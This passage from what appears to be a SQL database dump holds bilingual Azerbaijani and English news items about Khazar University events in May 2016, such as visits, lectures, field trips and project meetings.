Azərbaycan televiziyalarındakı bir çox qüsurlara münasibətini bildirmişdir.','<p class=\"x_MsoNormal\" style=\"margin:0in 0in 10pt;text-align:justify;font-size:11pt;font-family:Calibri, sans-serif;color:#212121;text-indent:0.25in;background-color:#ffffff\"><span lang=\"RU\" style=\"font-size:12pt;font-family:\'Times New Roman\', serif;color:#000000;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;background:undefined \">Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı mayın 10 - da&nbsp;&nbsp;<em>moderator.az</em>saytına verdiyi müsahibədə Azərbaycan televiziyalarındakı bir çox qüsurlara münasibətini bildirmişdir.&nbsp;</span><em><span lang=\"RU\" style=\"font-size:12pt;font-family:\'Times New Roman\', serif;color:#4472c4\">Bizimxeber.az</span></em><span lang=\"RU\" style=\"font-size:12pt;font-family:\'Times New Roman\', serif;color:#000000;background-attachment:initial;background-size:initial;background-origin:initial;background-clip:initial;background-position:initial;background-repeat:initial;background:undefined \">&nbsp;saytı da həmin müsahibəni&nbsp;<em>moderator.az-</em>a istinadla yayımlamışdır. Lakin hər iki saytda H. İsaxanlının fikirləri qismən təhrif olunmuşdur:</span></p>\r\n<p><a href=\"http://www.moderator.az/news/136067.html\" target=\"_blank\">http://www.moderator.az/news/136067.html</a></p><p><a href=\"http://bizimxeber.az/2016/05/11/hamlet-isaxanli-telekanal-r%C9%99hb%C9%99rl%C9%99rini-haqli-rusvay-etdi/\" target=\"_blank\">http://bizimxeber.az/2016/05/11/hamlet-isaxanli-telekanal-rəhbərlərini-haqli-rusvay-etdi/&nbsp;&nbsp;</a></p>  <br>'),(1764,1095,'en','Ambassador of Pakistan Visits Khazar University','On May 11 at Khazar University’s Downtown Campus, a meeting was held with His Excellency Mr. Khalid Usman Qaiser, Extraordinary and Plenipotentiary Ambassador of Pakistan to Azerbaijan.','<p>On May 11 at Khazar University’s Downtown Campus, a meeting was held with His Excellency Mr. Khalid Usman Qaiser, Extraordinary and Plenipotentiary Ambassador of Pakistan to Azerbaijan.</p><p>The meeting was hosted by the following first-year students of Khazar University School of Economics and Management: Allahverdi Ismayilli, Nigar Quliyeva, Jala Huseynova and Fatima Ahmedova.</p><p>Students from different schools also participated. As the theme of the talk was Azerbaijan-Pakistan brotherhood, the undergraduates were keen to discuss economic, political and cultural relations between Azerbaijan and Pakistan as well as to hear the Ambassador’s point of view on the future resolution of the Nagorno-Karabakh conflict.</p><p>According to the speech made by the Ambassador, Pakistan supports Azerbaijani territorial integrity and is fully ready for future military cooperation as well. He also stated that the military cooperation between these two countries has been long-lived and sound.</p><p>The Ambassador warmly answered students’ questions and wished them good luck in their future education and careers.</p><p>&nbsp;</p>'),(1765,1096,'az','Təsisçi Türkiyəyə səfər edəcək','2016-cı il mayın 14-dən 22-dək Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə bərabər, universitetin kamera orkestri, oğlanlardan və qızlardan ibarət rəqs qrupları və solistlərin təmsil olunduğu 48 nəfərlik heyət Kahramanmaraş Sütçü İmam Universitetinin rektoru','<p>2016-cı&nbsp;il mayın 14-dən 22-dək Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə bərabər, universitetin kamera orkestri, oğlanlardan və qızlardan ibarət rəqs qrupları və solistlərin təmsil olunduğu 48 nəfərlik heyət Kahramanmaraş Sütçü İmam Universitetinin rektoru professor Dr. Durmuş Devecinin dəvətilə Kahramanmaraş şəhərində (mayın 14-dən 18-dək) və Giresun Valisi və Bələdiyyə Başqanın dəvətilə orada keçiriləcək Giresun AKSU Festivalında iştirak etmək üçün Türkiyə Respublikasında səfərdə olacaqlar.</p><p>Kahramanmaraş və Giresunda keçiriləcək tədbirlərlə bağlı geniş məlumat veriləcək.</p>'),(1766,1096,'en','Founder to Visit Turkey','On May 14-22, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, will lead a 48-member delegation to Turkey including the university’s chamber orchestra, girls’ and boys’ dance ensembles and soloists. ','<p>On May 14-22, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, will lead a 48-member delegation to Turkey including the university’s chamber orchestra, girls’ and boys’ dance ensembles and soloists. They have been invited by Professor Dr. Durmus Deveci, Rector of Kahramanmaras Sutcu Imam University, to perform in the city of Kahramanmaras (May 14-18) as well as by the Mayor and Head of the Executive Body of Giresun to perform at the Giresun AKSU Festival.</p><p>Further details will be reported about the events to be held in Kahramanmaras and Giresun.</p>'),(1767,1097,'az','Xəzər Universitetində “muzey günləri”','2016-cı il mayın 7-dən başlayaraq, Xəzər Universitetinin Tarix və arxeologiya departamentinin müdiri Roza Arazova və departamentin müəllimləri A.Aslanlı, X.Balayev, G.Novruzova,','<p>2016-cı il mayın 7-dən başlayaraq, Xəzər Universitetinin Tarix və arxeologiya departamentinin müdiri Roza Arazova və departamentin müəllimləri A.Aslanlı, X.Balayev, G.Novruzova, Ü.İbrahimova, Ə.Ələkbərov Azərbaycan Tarixi Muzeyinə “muzey günləri” elan etdilər. Təhsil fakültəsinin, Mühəndislik və tətbiqi elmlər fakültəsinin tələbələri Azərbaycan tarixi fənninin bir dərsini Azərbaycan Tarixi Muzeyində keçdilər. Muzeydə tələbələr Şah İsmayıl sərgisi ilə tanış oldular. Muzey tələbələrdə maraq doğurmuşdur.</p><p>Muzey günləri 2 həftə boyunca dəvam edəcək.</p>'),(1768,1097,'en','Museum Days at Khazar','Beginning on May 7, 2016, Museum Days to visit the Azerbaijan History Museum were announced by the Khazar University Department of History and Archeology Chair Roza Arazova and instructors A. Aslanli, Kh. Balayev, G. Novruzova,','<p>Beginning on May 7, 2016, Museum Days to visit the Azerbaijan History Museum were announced by the Khazar University Department of History and Archeology Chair Roza Arazova and instructors A. Aslanli, Kh. Balayev, G. Novruzova, U. Ibrahimova, and A. Alakbarov. Students of the School of Education and the School of Engineering and Applied Sciences held one of their history classes at the museum, where they viewed the Shah Ismayil Exhibition. The museum was very interesting for the students.</p><p>Museum Days will continue for 2 weeks in the Department.</p>'),(1769,1098,'en','Student Field Trip to Gobustan','On May 8, 2016, instructors of the Khazar University School of Education took their history education major students on an academic tour of Gobustan, an important piece of the historical and cultural landscape of Azerbaijan.','<p>On May 8, 2016, instructors of the Khazar University School of Education took their history education major students on an academic tour of Gobustan, an important piece of the historical and cultural landscape of Azerbaijan. This field trip included both a lecture and a tour, and its objective was to lay a practical foundation for students of the Introduction to Archeology class. The trip was organized by Associate Professor Roza Arazova, Head of the Department of History and Archeology. Instructor Orkhan Zamanov and Julia Krajcarz, independent researcher from Poland, also participated in the trip. The suitable weather for the excursion and the students’ high level of interest in the practical lesson were especially notable. Additional trips are being planned for the future because of the significance for students of visiting the Gobustan National Historical and Artistic Reserve.</p><p>&nbsp;</p>'),(1770,1098,'az','Tələbələr Qobustanda dərs keçdilər','2016-cı ilin mayın 8-də Azərbaycan tarixinin və mədəni keçmişinin mühüm parçası olan Qobustan tarixi-mədəni landşaftına Xəzər Universitetinin Təhsil fakültəsinin tarix müəllimliyi ixtisasının tələbələri dərs proqramına uyğun elmi-ekskursiya xarakterli səfər etdilər.','2016-cı ilin mayın 8-də Azərbaycan tarixinin və mədəni keçmişinin mühüm parçası olan Qobustan tarixi-mədəni landşaftına Xəzər Universitetinin Təhsil fakültəsinin tarix müəllimliyi ixtisasının tələbələri dərs proqramına uyğun elmi-ekskursiya xarakterli səfər etdilər. Bu səfər mühazirə-ekskursiya şəklində keçirilmiş və tələbələrin arxeologiyaya giriş fənni üzrə biliklərini təcrübi olaraq formalaşdırmaq məqsədi daşıyırdı. Səfəri Xəzər Universitetinin Tarix və arxeologiya departamentinin müdiri Roza Arazova təşkil etmişdi. Mühazirə-ekskursiyada fənn müəllimi olan Orxan Zamanov ilə birgə tarixçi Dövran Abuzərov və Polşanın Yagelon Universitetindən gəlmiş tədqiqatçı Julia Krajcarz da iştirak edirdilər. Səfər zamanı hava şəraitinin münasib olması və tələbələrin təcrübi mühazirəyə olan marağı xüsusilə qeyd edilməlidir. Qobustan Milli Tarixi-bədii qoruğuna səfər tarix üzrə təhsil alan tələbələr üçün mühüm əhəmiyyət daşıdığından belə tədbirlərin keçirilməsi gələcəkdədə nəzərdə tutulmuşdur.'),(1776,1101,'en','Zekalar Lyceum Pupils Visit Khazar University','On May 11, 2016, 11th-grade pupils from the Zekalar Lyceum Number 287 visited Khazar University for a meeting. Opening the event, Dr. Hassan Niknafs, President of the university, spoke about the structure of Khazar University. ','<div>On May 11, 2016, 11<sup>th</sup>-grade pupils from the Zekalar Lyceum Number 287 visited Khazar University for a meeting. Opening the event, Dr. Hassan Niknafs, President of the university, spoke about the structure of Khazar University. Deans also made presentations including Dr. Ingilab Ahmadov, Dean of the School of Economics and Management; and Associate Professor Jabir Khalilov, Dean of the School of Humanities and Social Sciences. International students from Pakistan, Zimbabwe, Yemen and Cameroon also spoke about their impressions of Khazar University and Azerbaijan. They answered pupils’ questions. Alovsat Amirbeyli, Director for Public Relations and Media, gave the pupils a tour of the Khazar University laboratories, Library-Information Center, Psychology Center, Civil Engineering Laboratory and various other rooms.</div><div>Then the pupils were served tea in the university cafeteria.</div>'),(1777,1102,'az','Avrasiya Bilik Mərkəzi Xəzər Universitetində təlim keçirəcək  ','2016-cı il mayın 21-dən 28-dək Avrasiya Bilik Mərkəzi Xəzər Universitetinin “Mərmər” zalında regionun 7 ölkəsinin təmsilçiləri ilə (Monqolustan, Qazaxstan, Qırğızıstan, Tacikistan, Ukrayna, Albaniya, Azərbaycan) üçün 8 günlük təlim keçirəcək.','<p>2016-cı il mayın 21-dən 28-dək Avrasiya Bilik Mərkəzi Xəzər Universitetinin “Mərmər” zalında regionun 7 ölkəsinin təmsilçiləri ilə (Monqolustan, Qazaxstan, Qırğızıstan, Tacikistan, Ukrayna, Albaniya, Azərbaycan) üçün 8 günlük təlim keçirəcək. İştirakşıların sayının 25 nəfər olacağı gözlənilir. Təlim ingilis və rus dillərində ABS və yerli təlimçilər tərəfindən keçiriləcək. &nbsp;</p><p>Təlimin 4-cü günü (mayın 24-ü, çərşənbə axşamı) günün 1-ci yarısı Forum təşkil edilşcşk və dəvət olunmuş qonaqlar olacaqlar.</p><p>Maraqlananlar Forumda iştirak edə bilərlər.</p>'),(1778,1102,'en','Eurasia Extractive Industries Knowledge Hub to hold Training at Khazar University','On May 21-28, 2016, the Eurasia Extractive Industries Knowledge Hub will hold an 8-day training in the Khazar University Marble Hall including representatives of 7 countries of the region (Mongolia, Kazakhstan, Kyrgyzstan, Tajikistan, Ukraine, Albania, and Azerbaijan).','<p>On May 21-28, 2016, the Eurasia Extractive Industries Knowledge Hub will hold an 8-day training in the Khazar University Marble Hall including representatives of 7 countries of the region (Mongolia, Kazakhstan, Kyrgyzstan, Tajikistan, Ukraine, Albania, and Azerbaijan).</p><p>In the morning of the fourth day of the training (Tuesday, May 24), a Forum will be held with the participation of invited guests.</p><p>Everyone who is interested is welcome to attend the Forum.</p><p>&nbsp;</p>'),(1779,1103,'az','“Dünya” məktəbində “Şekspir Azərbaycanda – qaranlıqdan doğan həqiqət” adlı tamaşa nümayiş olundu.','Mayın 6-da “Dünya” məktəbində görkəmli ingilis dramaturqu Vilyam Şekspirin vəfatının 400 illiyi münasibətilə “Şekspir Azərbaycanda – qaranlıqdan doğan həqiqət” adlı tamaşa nümayiş olundu.','<p>Mayın 6-da&nbsp;“Dünya” məktəbində görkəmli ingilis dramaturqu Vilyam Şekspirin vəfatının 400 illiyi münasibətilə “Şekspir Azərbaycanda – qaranlıqdan doğan həqiqət” adlı&nbsp;tamaşa nümayiş olundu.</p><p>Məktəbin müəllim və&nbsp;şagird kollektivinin iştirakı ilə hazırlanan tamaşada xalq artisti Alim Qasımov və&nbsp;əməkdar artist Fərqanə Qasımova iştirak edirdilər.</p><p>Tamaşa Şərq və Qərb düşüncə tərzindəki oxşar və fərqli cəhətlər, rəmzlər, insan, cəmiyyət, eşq, azadlıq, mənəvi dəyərlər üzərində qurulmuşdu. Şekspirin yaradıcılığı fonunda Şərq ədəbiyyatının, o cümlədən poeziyasının tanınmış nümayəndələrinin yaradıcılığına müraciətlər olunur, mahiyyəti etibarilə eyni məzmun daşıyan əsərlərin qəhrəm<a target=\"_blank\"></a>anlarının&nbsp;yaşantıları&nbsp;əlaqələndirilirdi.</p><p>Tədbirdə&nbsp; Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, “Dünya” məktəbinin həmtəsisçisi, Xəzər Universitetinin Direktorlar və Qəyyumlar Şurasının müşaviri Nailəxanım İsayeva, AMEA-nın vitse prezidenti, Nizami adına Ədəbiyyat İnstitutunun direktoru, millət vəkili akademik İsa Həbibbəyli, AMEA-nın Nizami adına Ədəbiyyat İnstitutunun şöbə müdüri, filologiya üzrə elmlər doktoru, professor Asif Rüstəmli, şair Ramiz Rövşən, rejissor Ramiz Həsənoğlu, millət vəkilləri, ölkənin ədəbi ictimaiyyətinin nümayəndələri, media mənsubları iştirak edirdilər.</p><p><strong>&nbsp;</strong></p>'),(1780,1103,'en','“Shakespeare in Azerbaijan: Truth Rising from Darkness” Performance at Dunya School','On May 6, a performance entitled “Shakespeare in Azerbaijan: Truth Rising from Darkness” was presented at Dunya School in honor of the 400th anniversary of great English playwright William Shakespeare’s death.','<p>On May 6, a performance entitled “Shakespeare in Azerbaijan: Truth Rising from Darkness” was presented at Dunya School in honor of the 400th anniversary of great English playwright William Shakespeare’s death.</p><p>The performance was prepared by pupils and teachers of the school and included the participation of People’s Artist Alim Gasimov and Meritorious Artist Fargana Gasimova.</p><p>The performance was based on similarities and differences between East and West, including symbols, people, society, love, freedom and moral values. It highlighted similarities between characters in Shakespeare’s works and very similar earlier Eastern literary works in the background of Shakespeare’s creative activity.</p><p>Other participants in the event included&nbsp;Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees; Nailakhanim Isayeva, Advisor to the Board of Directors and Trustees as well as co-founder of Dunya School; Academic Isa Habibbeyli, Member of Parliament, Vice President of Azerbaijan National Academy of Sciences and Director of the Nizami Literature Institute; Professor Asif Rustamli, Division Head of the Nizami Literature Institute and Doctor of Philology; poet Ramiz Rovshan; director Ramiz Hasanoghlu; Members of Parliament; and representatives of the country’s literary society and media agencies.</p>'),(1781,1104,'az','Amerikalı professor Xəzər Universitetində mühazirə oxudu  ','2016-cı il mayın 12-də Xəzər Universiteti Bioloji elmlər departamentinin dəvətilə Amerikanın Mikrobiologiya cəmiyyətinin Texas filialının prezidenti və Texas at Tyler Universitetinin professoru Ali Azğani “Pseudomonos infeksiyasının patogenezi və müalicəsisi – keçmişi, bu günü və gələcəyi” mövzusunda universitetdə tələbələrə, həkim, müəllim və tədqiqatçılara mühazirə oxudu.','<p>2016-cı il mayın 12-də Xəzər Universiteti Bioloji elmlər departamentinin dəvətilə Amerikanın Mikrobiologiya cəmiyyətinin Texas filialının prezidenti və Texas at Tyler Universitetinin professoru Ali Azğani “Pseudomonos infeksiyasının patogenezi və müalicəsisi – keçmişi, bu günü və gələcəyi” mövzusunda universitetdə tələbələrə, həkim, müəllim və tədqiqatçılara mühazirə oxudu.&nbsp;Görüşdə, həmçinin, universitetin rektoru Dr. Hassan Niknafs, Bioloji elmlər departamentinin PhD tələbələri, Azərbaycan Milli Elmlər Akademiyasının professoru Fəxrəddin Əsgərov, “Nərgiz” klinikasının baş həkimi Məlahət Qəhrəmanova və klinikanın həkimləri, Tibb Universitetinin Tibbi mikrobiologiya və immunologiya kafedrasının dosenti Nigar Ağayeva və departamentin gənc tədqiqatçısı Fidan Bağırova iştirak edirdilər.</p><p>Mühazirədən sonra antibakterial müalicədə antibiotiklərə qarşı rezistentlik haqda geniş müzakirələr aparıldı. Görüşün sonunda iştirakçılar Azərbaycanda antibakterial rezistentliyin aradan qaldırılması üçün Amerikanın Texas at Tyler Universitetinin Biologiya departamenti ilə birgə tədqiqat işlərinin aparılmasında əhəmiyyətli olan planlar barədə maraqlı müzakirələr apardılar.</p>'),(1782,1104,'en','American Professor Gives Lecture at Khazar University','On May 12, 2016, Professor Ali Azghani of the University of Texas at Tyler visited Khazar University as a guest of the Biology Department. Professor Azghani is also the President of the Texas branch of American Microbiologists’ Society.','<p>On May 12, 2016, Professor Ali Azghani of the University of Texas at Tyler visited Khazar University as a guest of the Biology Department. Professor Azghani is also the President of the Texas branch of American Microbiologists’ Society. He gave a lecture on “Pathogenesis and treatment of Pseudomonas infection:&nbsp; history, today and the future” for students, doctors, instructors and researchers. Other participants in the lecture included Dr. Hassan Niknafs, University President; PhD students of the Biology Department; Professor Fakhraddin Asgarov of Azerbaijan National Academy of Sciences; Malahat Gahramanova, Senior Physician of Nargiz Clinic; Associate Professor Nigar Aghayeva of the Medical Microbiology and Immunology Department of the Medical University; and Fidan Baghirova, young researcher of the same department.</p><p>After the lecture, participants held a discussion on resistance to antibiotics in antibacterial treatment. At the end of the event, a discussion was held about possible research plans with the Biology Department of University of Texas at Tyler to eraticate antibacterial resistance in Azerbaijan.</p><p>&nbsp;</p>'),(1783,1105,'az','“Xəzər”in müəllimi Beynəlxalq Simpoziumda iştirak etmişdir  ','2016-cı il mayın 05-dən 07-dək Xəzər Universitetinin Azərbaycan dili və ədəbiyyat kafedrasının dosenti Elmira Məmmədova-Kekeç Türkiyənin Yozqat şəhərində Bozok Universiteti tərəfindən keçirilən Beynəlxalq Bozok Simpoziumunda iştirak etmişdir.','<p>2016-cı il mayın 05-dən 07-dək Xəzər Universitetinin Azərbaycan dili və ədəbiyyat kafedrasının dosenti Elmira Məmmədova-Kekeç Türkiyənin Yozqat şəhərində Bozok Universiteti tərəfindən keçirilən Beynəlxalq Bozok Simpoziumunda iştirak etmişdir.</p><p>Elmira Məmmədova-Kekeç “Yozqatlı Hüzninin divanında ənənədən izlər” adlı məruzə ilə çıxış etmişdir. Məruzədə XX əsr divan şairi Hüzni poeziyasında Nəsimi və Füzulinin şeirlərinin təsiri araşdırılmış, qəzəlləri arasında müqayisələr aparılmışdır.</p><p>&nbsp;</p>'),(1784,1105,'en','Khazar Instructor at International Symposium','On May 5-7, 2016, Associate Professor Elmira Mammadova-Kekech, instructor of the Department of Azerbaijani Language and Literature at Khazar University, participated in the International Bozok Symposium at Bozok University in Yozqat, Turkey.','<p>On May 5-7, 2016, Associate Professor Elmira Mammadova-Kekech, instructor of the Department of Azerbaijani Language and Literature at Khazar University, participated in the International Bozok Symposium at Bozok University in Yozqat, Turkey.</p><p>Elmira Mammadova-Kekech gave a lecture on “Traces of Tradition in the Divan of Huzni of Yozqat.” The lecture included her research on the influence of Nasimi and Fuzuli on the works of XX century divan poet Huzni as well as comparisons among gezels.</p>'),(1785,1106,'az','Avropalı tərəfdaşlarla ESFIDIP layihəsi barəsində görüşlər keçirildi','2016-ci il mayın 12-də Xəzər Universitetinin koordinator olduğu ESFİDİP (Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması) Tempus layihəsi çərçivəsində Avropa tərəfdaşlar (Lodz Universiteti, Makedoniya Universiteti,','2016-ci il mayın 12-də Xəzər Universitetinin koordinator olduğu ESFİDİP (Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması) Tempus layihəsi çərçivəsində Avropa tərəfdaşlar (Lodz Universiteti, Makedoniya Universiteti, Qraz Universiteti və Human European Consultancy) arasında Skype vasitəsilə görüş təşkil olundu. Görüş zamanı layihə çərçivəsində görüləcək işlər – avadanlıqların alınması, pilot proqramının planlaşdırılması və yeni görüş vaxtının təyin olunması haqqında müzakirələr keçirildi.'),(1786,1106,'en','Meetings for European Partners of ESFIDIP Project','On May 12, 2016, a meeting via Skype was held for European partners of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project which is coordinated by Khazar University.','<p>On&nbsp;May&nbsp;12, 2016, a meeting via Skype was held for European partners of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project which is coordinated by Khazar University. Participating partners included Lodz University, University of Macedonia, Graz University and Human European Consultancy.</p><p>The meeting covered future tasks of the project: purchasing equipment, planning and implementing a pilot program, and the date of the next meeting.</p>'),(1787,1107,'az','Yerli tərəfdaşlarla ESFIDIP layihəsi barəsində görüşlər keçirildi','2016-ci il mayın 11-də Xəzər Universitetinin koordinator olduğu ESFİDİP (Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması) Tempus layihəsi çərçivəsində yerli tərəfdaşlar (Azərbaycan Dövlət İqtisad Universiteti, Naxçıvan Dövlət Universiteti,','2016-ci il mayın 11-də Xəzər Universitetinin koordinator olduğu ESFİDİP (Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması) Tempus layihəsi çərçivəsində yerli tərəfdaşlar (Azərbaycan Dövlət İqtisad Universiteti, Naxçıvan Dövlət Universiteti, Gəncə Dövlət Universiteti, Sumqayıt Dövlət Universiteti və Əlil Təşkilatları İttifaqı) arasında Skype vasitəsilə görüş təşkil olundu. Görüş zamanı layihə çərçivəsində görüləcək işlər – avadanlıqların alınması, pilot proqramının planlaşdırılması və həyata keçirilməsi, layihənin təbliğatının aparılması haqqında müzakirələr keçirildi. Həmçinin, tərəfdaş universitetlərdə dərs deyən müəllim heyəti, inzibati işçi və tələbələr üçün təşkil olunmuş və təşkil olunacaq təlim-seminarlar haqqında da hesabat verildi.'),(1788,1107,'en','Meetings for Local Partners of ESFIDIP Project','On May 11, 2016, a meeting via Skype was held for local partners of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project which is coordinated by Khazar University.','<p>On&nbsp;May&nbsp;11, 2016, a meeting via Skype was held for local partners of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project which is coordinated by Khazar University. Participating partners included Azerbaijan State Economics University, Nakhchivan State University, Ganja State University, Sumgayit State University and Union of Organizations for the Disabled. The meeting covered future tasks of the project: purchasing equipment, planning and implementing a pilot program, and project dissemination. In addition, reports were made on training seminars that had been held and are being prepared for university instructors, staff members and students.</p><p>&nbsp;</p>'),(1789,1109,'en','Training Course for Potential School Directors Continues','Training Course for Potential School Directors Continues','We present to you&nbsp;pictures from today\'s training from the Course for Potential School Directors.'),(1790,1109,'az','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" davam edir.','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" təlimindən bu günə olan şəkillər.','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \"&nbsp;təlimindən bu günə olan şəkilləri sizə təqdim edirik.'),(1792,1112,'az','Yerli tərəfdaşlarla ESFIDIP layihəsi barəsində görüşlər keçirildi','2016-ci il mayın 11-də Xəzər Universitetinin koordinator olduğu ESFİDİP (Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması) Tempus layihəsi çərçivəsində yerli tərəfdaşlar','2016-ci il mayın 11-də Xəzər Universitetinin koordinator olduğu ESFİDİP (Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması) Tempus layihəsi çərçivəsində yerli tərəfdaşlar (Azərbaycan Dövlət İqtisad Universiteti, Naxçıvan Dövlət Universiteti, Gəncə Dövlət Universiteti, Sumqayıt Dövlət Universiteti və Əlil Təşkilatları İttifaqı) arasında Skype vasitəsilə görüş təşkil olundu. Görüş zamanı layihə çərçivəsində görüləcək işlər – avadanlıqların alınması, pilot proqramının planlaşdırılması və həyata keçirilməsi, layihənin təbliğatının aparılması haqqında müzakirələr keçirildi. Həmçinin, tərəfdaş universitetlərdə dərs deyən müəllim heyəti, inzibati işçi və tələbələr üçün təşkil olunmuş və təşkil olunacaq təlim-seminarlar haqqında da hesabat verildi.'),(1793,1113,'az','“Elsevier” Nəşriyyatının numayəndəsi Xəzər Universitetində oldu','2016-cı il mayın 13-də Xəzər Universitetində “Elsevier” Nəşriyyatının Mərkəzi Asiya və Qafqaz regionu üzrə numayəndəsi Kuşnud Kərimov ilə ilə görüş keçirildi. ','2016-cı il mayın 13-də Xəzər Universitetində “Elsevier” Nəşriyyatının Mərkəzi Asiya və Qafqaz regionu üzrə numayəndəsi Kuşnud Kərimov ilə ilə görüş keçirildi. Görüşdə Xəzər Universitetinin rektoru Dr. Hassan Niknafs, Akademik işlər üzrə prorektor professor Məhəmməd Nuriyev, müəllimlər və KİM-nin əməkdaşları iştirak edirdilər. Görüşdə Xəzər Universitetinin “Elsevier” Nəşriyyatının “ScienceDirect” Elmi Məlumat Bazasına qoşulması, gələcək əməkdaşlıq məsələləri müzakirə olundu.'),(1794,1111,'en','Meetings for European Partners of ESFIDIP Project','On May 12, 2016, a meeting via Skype was held for European partners of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP)','<p>On May 12, 2016, a meeting via Skype was held for European partners of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project which is coordinated by Khazar University. Participating partners included Lodz University, University of Macedonia, Graz University and Human European Consultancy.</p><p>The meeting covered future tasks of the project: purchasing equipment, planning and implementing a pilot program, and the date of the next meeting.</p>'),(1795,1112,'en','Meetings for Local Partners of ESFIDIP Project','On May 11, 2016, a meeting via Skype was held for local partners of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project which is coordinated by Khazar University.','<p>On May 11, 2016, a meeting via Skype was held for local partners of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project which is coordinated by Khazar University. Participating partners included Azerbaijan State Economics University, Nakhchivan State University, Ganja State University, Sumgayit State University and Union of Organizations for the Disabled. The meeting covered future tasks of the project: purchasing equipment, planning and implementing a pilot program, and project dissemination. In addition, reports were made on training seminars that had been held and are being prepared for university instructors, staff members and students.</p><p>&nbsp;</p>'),(1796,1114,'az','Təsisçinin mahnısı Xəzər TV-də ifa olundu','2016-ci il mayın 12-də Xəzər TV-də tanımış müğənni Samir Cəfərov sözləri Hamlet İsaxanlıya ','2016-ci il mayın 12-də Xəzər TV-də tanımış müğənni Samir Cəfərov sözləri Hamlet İsaxanlıya və musiqisi Elza Seyidcahana məxsus olan “Bakı” mahnısını ifa etdi.'),(1797,1114,'en','Founder’s Song on Khazar TV','On May 12, 2016, well-known singer Samir Jafarov performed the song “Baku” on Khazar TV','On May 12, 2016, well-known singer Samir Jafarov performed the song “Baku” on Khazar TV with lyrics by Hamlet Isaxanli and music by Elza Seyidjahan.'),(1798,1113,'en','Representative of Elsevier Publishing at Khazar University','On May 13, 2016, Kushnud Karimov, representative of Elsevier Publishing for Central Asia and the Caucasus Region, visited Khazar University and held a meeting with Dr. Hasan Niknafs, President of the University;','On May 13, 2016, Kushnud Karimov, representative of Elsevier Publishing for Central Asia and the Caucasus Region, visited Khazar University and held a meeting with&nbsp;Dr. Hasan Niknafs, President of the University; Professor Mahammad Nuriyev, Vice President of Khazar University for Academic Affairs; and members of the media. The meeting included a discussion of Khazar University’s access to Elsevier’s ScienceDirect Scientific Database as well as potential future cooperation.'),(1799,1115,'az','Universitetin müəllimi Türkiyədə bir neçə elmi tədbirdə oldu','2016-cı il mayın 11-dən 14-dək Xəzər Universitetinin müəllimi Araz Aslanlı Türkiyə Respublikasında keçirilən elmi tədbirlərdə iştirak etmişdir. ','<p>2016-cı il mayın 11-dən 14-dək Xəzər Universitetinin müəllimi Araz Aslanlı Türkiyə Respublikasında keçirilən elmi tədbirlərdə iştirak etmişdir. A.Aslanlı mayın 11-də Ankaradakı Gazi Universitetinin Strateji Araşdırmalar Mərkəzi (GAZİSAM) tərəfindən “Türkiyə-Rusiya gərginliyi və regional təsirləri” mövzusunda təşkil olunan elmi konfransda iştirak etmişdir. Araz Aslanlı elmi tədbirdə “Türkiyə-Rusiya gərginliyində Cənubi Qafqaz ölkələrinin mövqeyi” mövzusunda məruzə ilə çıxış etmişdir.</p><p>Mayın 12-də A.Aslanlı Ankarada Təbriz Araşdırmaları İnstitutu tərəfindən günün ikinci yarısında təşkil olunan “Ermənistan-Azərbaycan cəbhə xəttindəki son proseslər və İranın Qarabağ probleminə dair siyasəti” adlı elmi konfransda iştirak və məruzə ilə çıxış etmişdir.</p><p>Araz Aslanlı mayın 13-də Türkiyənin Kastamonu şəhərində Azərbaycan Turizm Universiteti və Kastamonu Universiteti tərəfindən birgə təşkil olunan I Beynəlxalq Türkiyə-Azərbaycan Münasibətləri Simpoziumunda “Azərbaycan-Türkiyə hərbi münasibətləri” adlı məruzə ilə çıxış etmişdir.</p>'),(1801,1116,'az','  “Xəzər”in tələbələri “ICAMES” Beynəlxalq konfransında iştirak etdilər  ','2016-cı il mayın 5-dən 12-dək Xəzər Universitetinin Elektronika ixtisasında təhsil alan tələbələr – Qurban Əsgərov, Ələvəz Qədimov, Adil Babayev və Əlikram Həsənli Türkiyənin Boğaziçi Universitetində təşkil olunan “ICAMES 2016 – International Cultural and Academic Meeting of Engineering Students” konfransında universiteti layiqincə təmsil etdilər. ','2016-cı il mayın 5-dən 12-dək Xəzər Universitetinin Elektronika ixtisasında təhsil alan tələbələr – Qurban Əsgərov, Ələvəz Qədimov, Adil Babayev və 